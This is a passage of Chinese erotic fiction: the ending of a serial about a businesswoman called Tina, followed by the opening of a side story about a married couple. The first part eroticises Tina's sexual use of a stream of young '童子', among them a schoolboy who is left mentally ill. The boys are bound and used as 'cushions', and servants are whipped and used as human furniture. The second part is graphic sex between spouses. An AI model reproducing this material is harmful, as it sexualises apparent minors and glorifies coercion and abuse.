热门搜索






[都市]现代女皇(全本)-11

  

现代女皇55



第二天早上8点多了,蒂娜才睡眼惺忪的醒来,看看小妹妹还贪婪的包裹着张光的雄宝宝,娇气地闭着眼睛哼哼起来,话都不肯说一句。萧红听到后赶忙过来吩咐张光继续服伺蒂娜,张光在蒂娜臀下再次动起来。

早已进来跪在地上准备多时的乳妇,赶紧捧着饱涨欲裂的乳房,把乳头塞进蒂娜的嘴里。

张光在蒂娜身下,惊呆了。他看到过小孩吃奶,没看见过大人吃人奶,两个年轻的乳妇,喂着一个和她们年龄相仿的同龄人吃奶,张光感到不可思议。

蒂娜吃饱了,两个嘴都吃饱了。这才推开奶妈,放开身下的张光。

侍女们服伺蒂娜起床,伺候蒂娜洗漱化妆,准备到公司去。这些年来,蒂娜第一次因为自己的原因,去公司晚了。

萧红告诉张光听她的召唤,以后叫他什么时间来,他就必须什么时间来伺寝,说完安排车送他回学校。

张光回到学校后的当天下午就发起无名高烧来,并持续几天不退烧,神情一直恍恍惚惚。无奈被家人送到医院输起液来,连续输了十几天液,张光才退烧。此后,精神始终不能集中,书也不能继续念了,一个多月后竟越来越重,由于无钱及时医治,落下病根,见到漂亮女人就脱裤子,露出下体,得了精神病。

萧红利用末位淘汰的办法,剔出蒂娜不喜欢的或蒂娜玩够的及不顺从蒂娜的男孩,为蒂娜提供了源源不断的新人,供蒂娜玩弄,蒂娜夜夜做新娘,每天至少要一个童子伺寝。

蒂娜从此迷上了童子,每周必须让萧红给她准备1、2个童子供她玩弄,夜夜让童子伺寝,有时甚至一夜要玩弄5、6遍之多。

经常是一进家门,就急不可耐地让童子仰脸躺下,自己骑坐到童子身上,把童子羽毛未丰的鸡雏塞进自己的牝中,两只漂亮的脚丫子就踩在童子的脸上,连吃饭、洗澡、睡觉都不肯离开童子的身上,更不许童子有片刻的停顿,一个童子倒下去,另一个童子冲上来,周而复始。

这可苦了代步的四个侍女春燕、夏月、秋菊、冬梅,过去仅抬着蒂娜自己,现在无形中却要同时抬着两个人。常常是她们四个跪在地上,同时抬着两人移动,累得小脸通红,大汗淋漓,“吭哧”“吭哧”直喘;而椅子上面却只闻得童子气喘吁吁,不停的在她们肩上摇晃着,蒂娜则莺莺声软,娇哼不断,淫声浪语涟涟。

后来,蒂娜白天在公司上班时,也经常让萧红给她叫童子来当坐垫,蒂娜称之为肉垫。叫来的童子被头下脚上,赤裸裸的绑到蒂娜的大板椅上,双脚绑到椅子后背上,双手绑到椅子腿上,分叉着两腿露出强壮的小弟弟,供蒂娜骑坐玩弄,满足她旺盛的欲望,童子的脸就是蒂娜的脚垫。就连下属来请示工作时,蒂娜也不肯下来,反正有大板台挡着,下属们什么也看不到。心细的下属会感到怪怪的,觉得老板坐的椅子高,与前面桌子的高度不协调,仅此而已。

蒂娜的生活由奢华转向荒淫、纵欲无度了。

几个月后,蒂娜更年轻漂亮了,皮肤也更水嫩了,连脚后跟的皮肤都和婴儿的脸蛋一样细嫩。蒂娜早就不敢穿高跟鞋走路了,略微走几步,脚丫子就磨的疼痛难忍。现在蒂娜上下班都是坐在软椅上,由两个保镖抬着进出。穿鞋的目的也不是为了走路,而是为了妆饰她的美脚。

……

光阴如梭,由于追求高额利润,公司涉嫌走私、偷逃巨额税款,不正当竞争,贿赂政府工作人员,窃取行业机密等违法行为,由检察机关牵头,协同市政府相关部门、海关、工商、税务机关联合成立了调查组进驻公司。蒂娜的关系网在得知此次调查的利害性后,立即通知了蒂娜。

好在蒂娜持有商务和因私两本护照,在调查组进驻公司的前一天,仅带着艳艳匆匆忙忙飞到法国。

得知调查组共查处了蒂娜几个亿的非法所得,没收了公司的全部资产,和她个人名下的财产、存款,并在通辑她。萧红也被收审,关进监狱。帮雄因没有参与公司的经营管理,并且和蒂娜没有夫妻名份,仅追究了他强奸猥亵少女罪,判了两年。蒂娜从法国又飞往美国,在美国又去了哪里,便无人知晓了。

好在蒂娜的存款大部分都存在法国和瑞士银行,国内银行仅保留公司的日常周转金,损失并不严重。据检察机关得到的消息,蒂娜在法国银行帐户里仅剩40法郎,出事后几天的时间里,蒂娜就提走了4亿多法郎现金。听说蒂娜在瑞士银行还有大量的存款,但是苦于没有线索,无法查找。

后来,据说,蒂娜加入了owk女王俱乐部,自己开了一个心里咨询所,正式加入了专业女s行列,成为owk俱乐部第一个亚洲的东方调教师,生意不错,慕名而来的m客人络绎不绝,艳艳也成了圈内著名的美少女调教师。

两年后,萧红和帮雄先后出狱,均去了国外。后来有人见到他们和蒂娜在一起,共同经营女王俱乐部。萧红还是蒂娜的管家,帮雄充当买办。

这是一幢真正意义上的花园别墅,占地上千平方英尺的庄园,百分之八十都是绿茸茸的草坪,在草坪边上有一个椭圆形的流线型喷水式游泳池。

中间是一座四层古罗马城堡式建筑,有四个小门,一个黄铜大门, 每一个门口边都有一条德国狼狗,一旦有人路过就会凶狠地狂吠。雇有专业印度保安,持枪荷弹地昼夜守护。

进出这个神秘庄园的人,都是坐着高档名车的各界名流,开车进入庄园的地下停车场,由地下停车场直接进入楼上。事后,直接从停车场开车离去,从来没有人见过他们的真面目。

据去过的人说,仅停车费一天就需要3千美金,室内的床铺、椅子等用品都是架在人的身上,用人来做支撑的。

白天院子里基本上看不到什么人,每当傍晚时分,黄昏的时候,经常会看到,一个美少女挥舞着皮鞭,乘着人力马车在庄园驰奔。人马的后背、肩上布满了道道鞭痕。

人力马车驶到庄园里干活的苦力近前尚未停稳,离车最近的一个正在修剪草坪的花工,立即跪趴到车下,躬起脊梁给美少女做下车的人梯。美少女在菲佣的搀扶下,优雅地踩在跪趴在车下的花工后背上。

花工身子慢慢的离开人力马车,细细的金属鞋跟踩进花工后背的肉里,花工紧咬着嘴唇,坚持着不让自己嘴里发出痛苦的声音。又一个苦力从美少女的身后钻进美少女的腿间,给美少女当起了坐骑。美少女悠闲地坐到苦力的脖子上,两条腿搭在苦力的胸前,胯下的苦力立即似马儿般兴奋的嘶鸣起来,迈着小碎步向干活的苦力们跑去。

一位风姿卓越的小姐手拿一根类似鞭子的树枝坐在一个苦力的背上,左边一个苦力跪在地上双手擎着遮阳伞,为小姐遮档着以近黄昏的夕阳。右边跪趴着一个苦力,后背上驮着香烟、火机和一瓶已经启开了的果汁,瓶口还插着吸管,原来这个苦力是给小姐当茶几用的。小姐架着二郎腿晃荡着,看管着这些干活的苦力们。走近了才看到原来小姐下面支撑腿的脚,竟踩在一个苦力的脸上,高高的鞋跟正好踩在苦力的嘴里。

看到美少女来了,看管苦力干活的小姐立即站起来,向美少女施礼。干活的苦力们也纷纷停下手中的工作,跪下头磕在地上迎接美少女。一个年老的苦力因跪下的慢了,被看管苦力干活的小姐上去抽了20几鞭,疼的蜷缩在地上滚动着,嘴里愣是没有发出一点哀嚎的声音。

美少女来到刚才小姐坐的苦力跟前,轻轻拍拍脖马的头,脖马立即慢慢低下身子,将美少女放到跪趴的苦力的背上,美少女抬手向一个苦力勾了勾手指,被叫的苦力立即爬到美少女跟前给美少女做板凳,让美少女歇腿。美少女脚下的苦力渐渐的放低身子,最后竟完全匍匐在地,美少女这才款款落座。

美少女坐好后,小姐在美少女身边大声叫着苦力们的号码,被叫的苦力逐一爬向美少女跟前跪拜叩首。美少女对爬到跟前的苦力,有的被打鞭子,有的被赏亲吻美少女的靴尖……

园子里的苦力都赤裸着身体,身上唯一的遮挡就是戴着有号码的头套,仅有双眼和嘴巴露在外面,相互间叫着各自的号码代替称谓。

有人说,这个美少女就是蒂娜,小姐就是艳艳,也有人说不是。说蒂娜从来不出城堡,都是坐在城堡的大厅里接受跪拜的。美少女才是艳艳,小姐是当地一个华侨的女儿。众说纷纭,已无从考证。

(完)

番外篇妇人的堕落

〓内容梗概〓

「食色性也」,人类作为高级动物的存在,除了精神与事业等等的追求,同样丝毫不能旁待对生理本能的眷顾,因为这也是基本的人性。对这样的论断笔者认为没有人可以反驳的吧!

某大型超市职员赵国军工作不久,即被荣升为部门经理,春风得意,年轻貌美的妻子刘玲闻之不禁欣喜若狂。可是激烈的竞争耗尽了赵国军的精力,刘玲复又陷入了极度的苦闷。就在这时,怂恿者乘虚而入,甜蜜的诱惑不断地向刘玲灌输。渗透,意志薄弱的刘玲,不知不觉地被卷进了一起以家庭主妇为成员的聚众淫乱案件!俟至收敛,却已不能自拔……

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ** *

目录

第一章淫乱的源起

第二章淫秽的诱惑

第三章无耻无羞的放荡妇人

第四章褒贬不一的性观念嬗变

第五章浪漫中前行的隐讳夫妻

尾声男通女隐大结局

第一章 淫乱的源起(一)

电视机的音量开得很大。

刘玲一来到房间,赵国军总是要关上窗帘,开大电视音量,因为他不想让邻居听到刘玲的呻吟声。一台小风扇放在屋内正中央的木地板上,上面铺着薄薄的毛巾被,赵国军与刘玲全身赤裸地躺在地上,风扇的风吹着他们的皮肤,静静地空气在流动。

由于床紧靠着墙边,与刘玲过性生活时,赵国军常不用床,而刘玲被置放在木地板上。无论将电视的音量开多大,在紧靠墙边的床上亲热,刘玲的声音仍会被隔壁的邻居听到,总让人感到不舒服。

尽管想方设法,刘玲的声音还是传到隔壁邻居那边。刘玲忘乎所以时发出尖叫声,让邻居听到多难为情,但赵国军自己很乐意听,因为刘玲的声音不仅大,还会挑逗起男人的性欲。

赵国军大学毕业还不到一年,就因为工作出色成绩显着被破格提升为部门总经理。他才27岁,在奉行能力主义和年轻化的公司里,他是最年轻的一位部门总经理。同他一起被提升为部门总经理的其他两人,都已过而立之年,由此可见,公司决策层董事会对赵国军是何等赏识。「这下我也成官太太了,去单位找你也可以趾高气扬了。」

妻子刘玲心花怒放,像是自己高升了似得。一脱光衣服俩人在一起时,刘玲就喜欢娇嗲嗲地叫赵国军作这样,作那样,国军都一一照办。事情结束后,刘玲总有很长时间不说话,也不动。她喜欢丈夫,她激情洋溢一触即发,又乐于助人,国军内心很喜欢她,但另一方面,他又感到她性欲过盛。

同刘玲是两年前结的婚。虽说已经不是什么新婚燕尔,可她仍旧十分单纯,幼稚。他们婚前都在同一个单位工作,当时赵国军是柜台主任助手,刘玲是百货部的出纳员。

二人恋爱后,请当时的柜台主任做媒与他们各自的家长撮合结了婚。正因为二人原在同一单位工作,她才更加切身地感到丈夫的荣升是多么光彩。「你到底是个有出息的人啊,当时人家就都夸我没有看错人呢!」刘玲撒娇地依偎在赵国军的赤裸裸的胸肌上。

今天是赵国军领到经理委任书的夜晚,刘玲比任何时候都动情。丈夫的破格提拔实在叫她开心得难以自制。一吃过晚饭,赵国军在餐桌旁就解开刘玲的胸部纽扣,把手伸进去揉摸老婆的乳房,后来又解开了刘玲的裤带。

刘玲坏坏地笑着从椅子上站起来,一边收拾着碗碟一边往厨房走,她任凭已经被老公解开了裤带的裤子随着走动从腰上缓缓褪下来。夫妇俩人就不约而同地脱光了衣服。赵国军去关上窗户,拉好窗帘,开大电视音量,将卧室床上的毛巾被拿出来铺在木地板上。「坏东西,连锅碗也等不得让人家洗了!」

刘玲脱光衣服后,躺在铺着的毛巾被上说,「等不及了吧?我的屄也流溢的湿拉拉的啦!」她立即将脚放在丈夫身上。「前两天有月经,一直忍耐着,月经一完就再也忍耐不了啦!」说完,刘玲把手伸入国军的大腿根之间,厚厚的嘴唇贴在丈夫的嘴唇上。赵国军抚摸着刘玲的乳房,开始用他的大腿顶触她的屄,刘玲扭动腰身,分开丈夫的大腿,将自己的腿放在老公的腿之间。

刘玲并不胖,但乳房又大又丰满,十分诱人。国军每至摸触刘玲的乳房时总在想,若这对乳房更大更富有弹性一些,乳头再稍微小一点,颜色再稍微浅一些就更好了,但刘玲才23岁,皮肤柔嫩,不应苛求。

赵国军对刘玲的肉体感到满足,他已快30岁了,虽然结婚迟了些,但终归如愿以偿。他知道对刘玲乳房的要求是奢望,有点贪得无厌。但国军想,若乳房再硬点,在胸骨间涂上油,用乳房夹住鸡巴就好了。

赵国军喜欢把自己的阴茎夹在刘玲的乳房间,这种做爱方法是他在与刘玲谈恋爱时从欧美色情录像上学到的。他从最初的希望刘玲与他做同样事情为起端,直到把刘玲也调教的成为乳交狂。对刘玲来说,乳房是她相当敏感的性部位,当然她要想办法展现自己最可爱的一面,让赵国军好好地爽一把。

在从与赵国军搞对象到嫁给他的那段日子里,他们常常用乳房来做爱。就是说赵国军在有性交需要时经常不用把阴茎插入刘玲的阴道,而是用阴茎插在刘玲的乳房之间(也就是乳沟中),用手按着她的乳房夹紧自己的阴茎来回摩擦,以达到性高潮。

这种「打奶炮」的方法对男人来说是比较刺激的,除了阴茎的摩擦,带来性高潮满足心理上的需求外,最主要的还是视觉上的刺激。想象一下,一边用阴茎在女人丰满迷人的乳房之间来回抽动,一边用手按住女人的乳房,不断揉弄,不断地使乳房压紧阴茎;一边望着心爱的女人似梦迷离的面容,那轻柔的喘息声曾经屡屡让赵国军感觉沉醉入内而无物。

刘玲用乳房与赵国军交欢时,有几个地方比较适合,一是刘玲的乳房比较丰满,如果乳房比较小的话,就很难用它来夹紧他的阴茎,效果会比较差。而且为了将阴茎夹紧,会很累。二是在用乳房做爱时,两个相爱的人彼此看着阴茎在乳沟之间来回插动。

赵国军也可以适当地用阴茎在刘玲的乳房表面摩擦,也可以用阴茎挑动压弄她的乳头。另外由于不像在阴道里做爱时有阴道分泌的润滑液润滑,所以乳交时他们有时会感到较干涩不顺畅,这时刘玲就会自觉地吐一些她的唾沫在自己的乳房与赵国军的阴茎上以充作润滑剂来帮忙。

当然刘玲也很乐意做乳交,她常常像赵国军看到的欧美A 片里的女人那样,让赵国军骑在她的身上,将他的阴茎夹在自己的乳房之间,用她的嘴唇去吮他的阴茎,赵国军看着刘玲用乳房挟着他勃起的阴茎,他的阴茎藉着唾液污秽着她女性酥胸的淫荡动作,体会到极大的征服感。刘玲自己也从中得到性唤醒和女性满足。

从音量开得很大的电视机中传出CCTV整点新闻节目的音乐。赵国军的身子埋在刘玲的腿之间,脸面贴着她茂密的屄毛,他的舌头从刘玲厚厚的阴唇开始舔向阴道,又用舌端分开左右,交替地吸吮着,刘玲欣喜若狂,腰身扭来扭去,嘴里哼哼出声,十分动人,这时的声音不算很大,用不着担心。

赵国军的舌尖触及到刘玲的阴蒂,她遽然使劲扭动腰身,哼哼呻吟。他伸出手在摸她的乳房,手指捻拧乳头,她的嗓子里突然发出高声尖叫,一个劲地在枕头上边左右晃着头,迎着风扇吹出来的风,刘玲的头发翩翩起舞。「嗯——,哦,我也想要你的,快给我啊死鬼,我要吮吸你的大屌。」刘玲像在说梦话,她一兴奋起来,就喜欢说出一些露骨的话。

赵国军的舌头仍贴在刘玲的阴道上,用跪着的膝盖改换方向,身子向后骑坐到刘玲的胸前,她的乳房汗液津津,闪着微光,乳头完全变硬挺了起来。刘玲一下抱住丈夫的腰贴在脸上,嘴唇从下面含住他的阴茎,嘴里伴着吮吸的声音。赵国军仍吻着刘玲的阴蒂不放,双手也抱紧她的腰,倒向一边,翻了个身。

刘玲的膝头立刻跨贴在赵国军的脸上,大腿完全张开。刘玲的嘴唇死死地含住丈夫的阴茎,含在口中一上一下滑动着,吮吸着。屋子寂静极了,房间里回荡着二人喘息粗重的心跳声。

几分钟后,刘玲又跨坐在丈夫的膝头上,丈夫摸着她赤裸的屁股。他一反腕将她搂住,两人的嘴唇不容分说地粘合在一起,长长久久地只有鼻子喘动粗气。

赵国军的手就像蛇一样摸到了下边。他的手急得只在她大腿内侧乱抓,刘玲便把两腿叉开了,于是他手就钻了进去,摸到了湿淋淋的一片。赵国军脑海里顿时云雾升腾。「马上把你的大屌肏进我的屄里去呀,我什么也不管不顾了。」赵国军清楚地听到了刘玲的嘟哝声。

刘玲这样的挑逗,使赵国军心中的欲浪更加汹涌了,血液在周身沸腾,下身的阴茎也涨得更挺,顶在刘玲的小腹上,微微跳动……「可是,今后也不好干啊。」

赵国军被刘玲的阴部覆盖着的嘴,发出嗡声嗡气的语音。他已经习惯于用这种调节心态的方式来延长性交时间,也就是所谓的「中间停顿法」。当高潮袭来时,就避开冲动与注意力想其他事情,让性冲动缓和下来。

赵国军的舌头顿时停止舔吮,双手推开贴在他脸上的刘玲的屁股。赵国军与刘玲的身体全身反方向叠在一起,互相看着脸交谈着。「这不明摆着吗,准要遭人嫉妒。」刘玲十分满足似地说。她依旧沉浸在丈夫的柔情蜜意之中。她见身体更贴近他,贴得紧紧的。抚摸背部的手,突然伸到丈夫的胯间,狠狠地握住他勃挺的阴茎。

刘玲的粉脸一脸绯红,眼光迷离,如喝醉了酒似的。她分开白嫩肉感的大腿,将阴门抵在丈夫的阴茎前,凑了上去。她顺势骑在丈夫的身体上,将阴道口对准丈夫的阴茎,坐了下去,并用力向下蹲。下蹲之时,她牙齿咬得格格作响,脸庞绯红,已经沁出了汗水,并呓语着:「肏进来……快再肏进来……空虚的难受死我了…… 噢……」「不光是这些啊。」

同妻子相反,丈夫已经清醒了。赵国军的语调是现实的。赵国军下意识地用手一摸,摸到了刘玲阴部软软的三角阜,鼓鼓的,毛茸茸的,像半片狐毛,毛上布满了淫液。「你是怎么回事情啊?」刘玲意乱情迷地分开双腿,捏着丈夫的中指,埋怨着轻轻地朝她的阴道口上按去。「坏老公,你要痒死人家吗?」。「我的这个经理职务不是永久性的。」

赵国军脸部伏在刘玲赤裸的胸部上说道。双方赤裸着全身,刘玲的乳头被赵国军面颊压着,刚才还很坚硬的乳头,现在已经渐渐变得柔和了。乳房上仍浸着汗珠。刘玲张开双腿缠在赵国军膝盖附近。

赵国军的下身已失去硬度,仍留恋地偎在刘玲身体上。赵国军说着,用面颊摩擦刘玲的乳房,富有弹性又硕大的「乳房」在赵国军脸上反弹着。赵国军有些晕眩。「想让我赶快急抽猛送的马上日你一次喽?」「还有脸问人家呢!」刘玲带着责备的坏笑回答着丈夫。她将丈夫的头紧紧抱在胸脯上,丈夫吻着她的嘴唇,刘玲则静静地缠住丈夫的舌头,直挺着柳腰。

赵国军甜甜地吸吮着老婆的舌头,「啧啧」的舔吸声夹在音量很高的电视伴音中,声音显得十分微弱。刘玲全身紧紧抱住赵国军。房间没有灯光,只有床上的台灯亮着。刘玲也吸吮着赵国军的嘴唇。赵国军一边舔刘玲的嘴唇,一边一只手按在她乳房上,手掌按住乳房揉搓着。「不要再想公司的事,就会来精神啦!」

刘玲挺直腰际,调皮地挑逗性地望着丈夫轻声说着。「唔,知道啦!」赵国军也笑了。内心里他同样想痛痛快快的肏老婆一个哭爹喊娘。这样的夫妻性生活,他和刘玲之间是经常的。每晚赵国军对年轻的老婆都具有强烈的欲望。「玲,看来你必须用你的嘴让我生机勃勃了!」「嗯,没有问题,来,只要你能肏爽我,给你做什么也行。」

刘玲爽利的应着赵国军,并从他的肩上向下滑去。赵国军在刘玲身上直起身,缩着腰,刘玲立即伸手放在他的阴茎上。赵国军仰面躺在刘玲身旁。「这玩意儿,勃起来时气势高昂,射出来时就跟变魔术似的,嘻嘻,可爱死了……」刘玲的手放在丈夫的阴茎上,直起上身说着,手伸向手纸箱,单膝跪起来,小心翼翼地不让丈夫看见,将手纸放在自己身下。

赵国军的那东西湿润极了,刘玲又用嘴含住,她凌乱的头发倾撒在赵国军的大腿和腰上。乳房也抵着赵国军的大腿,赵国军伸手揉了揉她的乳头,他的舌头伸了出来,向着因湿润而胀大的她的阴道口舐去,刘玲「啊,啊」叫着。

他的嘴亲吮着她的阴户,舌头舔入阴道。他又用手扒开她的大阴唇,以使舌头舔得更深。「嗯……嗯……哎……嗯……哦……哦……」刘玲急促地扭动腰身,渴望似地呢喃呻吟着。

赵国军亢奋起来了,阴茎的膨胀令他全身绷紧。他挺着阴茎扑上去,在森森阴毛中冲突一番后,深深地肏进了刘玲的屄里,疯狂地抽动起来。赵国军双手捏着刘玲的乳房,下身的男根在刘玲的屄里进进出出扇动着。在他猛烈的动作下,刘玲就像一条没有骨骼的母虫一样在蠕动着并转为波动……阴茎抽动间带着屄里的鲜肉翻出翻入。

刘玲下身的两腿中间成了一片沼泽地,一股股白浆往外涌溢……刘玲无比淫浪地一边呻吟哼哼着一边扭动着胴体。「啪!啪!啪!」男女的肉体疯狂的撞击在一起,发出了响亮的声音。「扑哧——扑哧——扑哧……」两性性器官伴着淫水的搅和声响成一首美妙的淫曲……

赵国军一边做着活塞抽送动作,一边说着淫声浪语挑逗着刘玲。双方的浪荡行为简直到了欲仙欲死的地步。待射精后,俩人已是气喘吁吁地全身无力,那垫在身下的毛巾被早已被刘玲攥成一团,上面一片狼藉。双方又互相挑逗揉弄着彼此已经萎靡不振的性器官。

赵国军的阴茎进入暂时无法勃起的不应期。刘玲还用嘴去吻它,含住,吸吮,舔,用手套弄。直到赵国军又将余精射了出来。赵国军也用嘴舔刘玲的屄周围,刘玲呻吟着……「以后做了经理了,可是不准你在外面与其他女人胡来哦!如果被我发现了,跟你没完!」

刘玲带着与丈夫性交后的满足感,轻松地在赵国军身上撒着娇。赵国军顺着刘玲高兴的说:「你放心,有你这么漂亮的女人做老婆,勾引的我恨不得天天肏你,那还有精力找别的女人。我保证我的精液全流进你一个人的屄里,决不射给别的女人。」

刘玲点点头说:「谁让我是你老婆呢,我的身体,包括奶子,屄,屁股都是你的,你可以随便肏和玩。但是你也是我的,你的大粗屌也只能日我一个人」。

刘玲毕竟是一个什么也不理解的女人呀!赵国军明白,他同此刻跟他交融为一体的妻子之间有一道不可逾越的鸿沟。

被提拔为最年轻的部门经理固然可喜,可是最年轻这一点恰恰说明其资历,经验都还不足,谁都不希望从好容易爬上去的位置上给降下来。为了保住这个职位,自然是一番殊死的竞争。正因为赵国军最年轻,他前面的路才更其艰难。

第一章 淫乱的源起(二)

赵国军所在的公司,是最近经营情况不错的,新兴大型超市「亚细亚超级市场」。「亚细亚超市」是在北京市中心一家小商店的基础上创建起来的,虽说作为超级市场开业不算早,可是10年后,销售额在超市业中名列前茅,规模也在首都首屈一指,销售网点遍及全国。

它现在实行的「管理职务合同制」,就是为了最大限度地,调动职员的积极性。按以往制度,一但当上经理,只要没干什么坏事或出大纰漏,一般都不会被降职。而现在的这种制度,一改常规,对那些不称职者要毫不客气的降下来。

昨天的部下,明天说不定就是自己的上司。这「管理」职务真是敷衍马虎不得了。「这实在是个残酷的办法。」

这次同赵国军一起成为部门经理的王政,下班后在通勤车里只有他俩的时候悄悄地发起了牢骚。赵国军同年过四十的王政交往甚密,家也在同一方向。

因为年龄悬殊,两人在职务上没什么对立的因素,因此,在公司绝对不可言表的牢骚,这会儿也发泄出来了。「这话怎么讲?」赵国军问。「小赵啊,你想想,一年的合同经理期满后,如果考核通不过,那还怎么有脸在公司里混?昨天还对部下发号施令,今天就要跟他们平起平坐,这叫人怎么干?说不定往日的部下还会一跃成为自己的上司呢,身为职员岂能忍受这种屈辱。

降职就等于是解雇。不,比解雇还残酷。我没有把握明年不被解职,谁知道能不能通过他们那套严格的考核!

王政嘟哝着走了。那背影却令人感到他已十分疲劳,颇像个快到退休年龄的职员。「是啊,被降职就没法在公司里干了,无论如何也要通过考核这一关。」

从那以后,赵国军工作起来更是废寝忘食,干劲十足。

************

「怎么又回来这么晚啊!」刘玲看着夜里快10点才回到家里的赵国军问:「哎,你知道吧?」「嗯?」赵国军现出一副扫兴的神态,他明明知道妻子娇声细语的意思,仍故意装糊涂地回答。「今天起就是安全期了。」刘玲每天都要等丈夫回来伺候他吃过饭才会睡下。

那种每日一次的夫妻性生活,已经成为她生活中不可缺少的一部分。「下班后又开了个会。」赵国军懒洋洋地脱下上衣。他面对着妻子在眼前明明露出的求欢目光,却显出勉为其难的那种不情愿的神情。「开会,每天是开会!」「唔,上面考核的很严啊!」「为什么沉着脸?」「大概是太疲倦的缘故吧!」赵国军不耐烦地说。

对妻子的挑逗,赵国军打心眼儿里有些发憷。为了积蓄资金购买分期付款的住宅,他们商定暂时不要孩子。

丈夫赵国军自从升了经理后,对夫妻之间的性生活有时半个月也不要求一次,即使刘玲提出性交要求,他也有些惰性,完全没有28岁的人常见的那种劲头。与妻子之间每月有那么两三次就够了,刚结婚时总是时时缠着刘玲,几乎每天都来一两次。因此现在这样每月加起来只有三四次。

对于一个不到30岁的女人来说,刘玲觉得她受到丈夫的爱抚也太少了。「今天真的有点儿累,」他生怕妻子不悦,语气尽量温和些。于是他强忍着就要打出的哈欠,说着「累了」,就进入了卧室。

实际上,他白天在单位里晕头转向地忙碌了一整天,下班后还要参加什么研究会之类的会议,一直讨论到深更半夜,晚上回到家时,早已疲惫不堪,哪有心思调情取乐。明天一大早还要上班,又不能因为「半夜」才回家第二天就可以迟到。「瞧你,都隔快一个星期了。像你这样年纪轻轻,不大对劲啊,莫非你在外面玩女人了不成?哼!」刘玲一脸恶相。

「你看你说的什么呀!我现在是部门负责人,这阵子正是关键时刻。你以前也在这个单位工作过,应该理解我才对嘛!」

「怎么还不进来?」已经钻进被窝里等他进去的刘玲仰望着赵国军说:「我在那里上班的时候可没有这么忙过。天天到黑夜10点才回家,肯定有问题,不是在外面玩女人干什么去了?公司公司,难道你为了公司连家也没有了吗?公司是你的家喽?!」

「唉,好了好了,我就来!」赵国军把烟灰在缸里搓灭之后站起身来。

到了这种地步,不论怎么解释她也不会理解的。同丈夫在一起工作过的妻子自以为最了解丈夫,实际上却最不了解。她们总是以结婚当时的眼光来看待丈夫。

「开口工作,闭口公司,谁知道你说得是真是假。告诉你,我决不是对你过分要求。」

「我知道。」赵国军极力辩解。不管怎么说,妻子是年轻的。他在夫妻生活方面没有尽到作为丈夫的责任,因为工作疲劳就置妻子的正当欲求而不顾。但是妻子向他提出交欢要求这一点并没有错。赵国军也觉得他有让刘玲的性要求得到满足的义务。

「不,你不知道。咱们结婚才两年,你就这样冷落我……我本不想说你的,可你……」刘玲声泪俱下。对年轻的妻子来说,遭到拒绝这本身就是个不小的打击,更重要的是,丈夫的爱情似乎淡薄了,这使刘玲有些惶惶不安。

「知道,知道,都是我不好。我怎么会不想呢,只是有点儿累,明天还得曾经上面的会议,才克制着自己的。」

「真的?」,「那还有假,不信就试试吧。」赵国军强打起精神。

妻子靠在丈夫的胸前,俩赤裸裸的肉体贴得紧紧的。她的手伸到他的双腿中间握住了他那软塌塌的阴茎。

男女间的交合,只要心情上有了不愉快的情景,说什么都提不起兴趣来,尤其是男人。

此时,赵国军阳痿了,艰难的事业给他造成的消耗,超过了他经历的积蓄。

肉体的疲劳很快就能恢复,而「最年轻的经理」这一沉重的负担变成内攻的压力,吸收了他全部的精力。

虽然经过刘玲一阵肉体的摩擦,被她手中攥着的肉南傍国,仍然兴趣索然。

刘玲忙碌了半天,上足了淫劲,使尽了媚术,做足了浪态,仍是提不起丈夫的性趣。

「你究竟是怎么回事?」刘玲有心撒手算了,但又不甘心。

「对不起。」赵国军向刘玲道着歉。

「难道是你讨厌我了?」刘玲气得咬着嘴唇背过脸去。而赵国军有气无力地连连解释着说:「不是」。

在最后实在无计可施时,刘玲急得白了赵国军一眼,调转脑袋。她张开了嘴巴一下子咬住了他的阴茎。

「咬下来你这根没有用的死蔫屌!」刘玲吞吐着赵国军的阴茎,狐媚淫荡的瞟了他一眼,低下头去继续含住他的阴茎吸吮着,一阵紧似一阵的含舔起来。

赵国军的阴茎经过妻子一阵舔舐后,不由得一阵阵心猿意马神志荡漾,再看着眼前横陈在自己怀里的乳峰,臀沟以及黑森森的阴毛地带。

它正在一张一合的扇动着,并且有一股灰白的爱液,从她的屄里慢慢地往外流着。

赵国军便不由自主地伸过手去揽住了丰满的女臀,另一只手猛地插了进去。

在深入到阴道深处时还抠弄着她的里面。

刘玲屁股一夹,臀部一阵狂乱的扭动,鼻腔中连声「哼哼……」呻吟出来。

赵国军陷落于妻子的种种挑逗,阴茎竟然昂头吐舌挺勃起来。他的心跳速度也明显增快。他疯狂地将她按在身体下面,要好好地肏她一番。

刘玲早已等的不耐烦了,她温顺地伸展两条大腿仰躺在他的两股之间。

她抬高起自己的臀部,将她那满是爱液的屄口儿,对准了他勃起来的肉棍子。

她用左手牵引着他的巨大硬挺的阴茎,并用右手拨开了自己的两片阴唇。

借着她爱液已经流溢得一塌糊涂的阴部的润滑,赵国军的男根顺畅的滑陷进去。她的两手同时放开。

刘玲开始摇晃起腰肢,摆弄起屁股,前后摆动了几下,臀部猛地上抛,便听见「扑哧」的一声,已经把丈夫那一根粗硬的阴茎整个含入了她的屄里面,同时她嘴里发出一声深长的「唔……」声。

既满足又快感的一声「唔」过后,她伏身撑床,面对着丈夫,大屁股疯狂地上下进退起来……

赵国军看着妻子的这番举动,如坐定的老僧那样,闭上眼睛一动也不动地任凭刘玲在他身体下起伏……妻子摇晃不休,张口吐舌,喘气如牛……

一阵紧张的上下套动,左右摇晃动作后,刘玲已大汗淋漓,披头散发,鼻中还夹杂着呻吟声。

她完全成了一只饿疯了的雌虎。在这些动作之中,并没有得到她的理想中的刺激,主要的原因是没有赵国军的配合。

赵国军只想好好地睡一觉。刘玲的情绪以后会哄好的,而公司可含糊不得。

------我究竟是在为什么卖命?-------

没等脑海里出现这个疑问,赵国军便酣然入睡了。

第一章 淫乱的源起(三)

赵国军与刘玲夫妇住在北京五环一个新建的住宅小区里,离市中心坐地铁要一个小时,住的是两室一厅的房间。两室一厅的年龄层绝大多数都是年轻的,即使有孩子顶多不过一个或两个,多半是没有孩子的双职工,或白天只身在家等丈夫下班的年轻妻子们。

她们当然十分空闲。家务同孩子们玩的过家家差不多,也没有孩子需要照看。

这些有空闲(只是没有多少钱)的妻子们经常凑到一起开「家户会议」拉家常。

小区里没有公用的聚集场所,串家户自然就成了闲聊的好地方。久而久之,主妇们便把会场搬到了没有孩子而又喜欢热闹的人家。

哪个小区里都有一些妇人们不堪孤零零傻等男人回家的寂寞,就会寻觅闲聊的话伴儿。

